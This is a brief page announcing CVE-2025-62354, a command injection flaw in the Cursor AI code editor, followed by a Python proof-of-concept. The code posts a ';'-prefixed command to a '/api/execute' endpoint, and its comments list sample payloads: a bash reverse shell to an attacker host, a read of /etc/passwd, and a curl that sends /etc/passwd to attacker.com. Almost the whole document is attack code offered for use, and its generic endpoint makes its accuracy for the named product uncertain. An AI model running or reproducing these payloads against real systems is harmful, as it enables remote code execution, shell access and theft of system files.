CVE-2025-62354: Cursor AI代码编辑器命令注入漏洞导致任意代码执行

import requests import json # CVE-2025-62354 PoC - Command Injection in Cursor # This PoC demonstrates the command injection vulnerability in Cursor def exploit_cursor(target_url, payload): """ Exploit the command injection vulnerability in Cursor Args: target_url: Target Cursor instance URL payload: Malicious command to inject """ # Construct the malicious request exploit_data = { 'command': f';{payload}', # Command injection payload 'type': 'os_command' } # Send the exploit request response = requests.post( f'{target_url}/api/execute', json=exploit_data, headers={'Content-Type': 'application/json'} ) return response.json() # Example: Execute arbitrary command # target = 'http://localhost:3000' # payload = 'whoami' # or any malicious command # result = exploit_cursor(target, payload) # Example malicious payloads: # Reverse shell: ';bash -i >& /dev/tcp/attacker/port 0>&1' # File read: ';cat /etc/passwd' # Data exfiltration: ';curl http://attacker.com/?data=$(cat /etc/passwd)'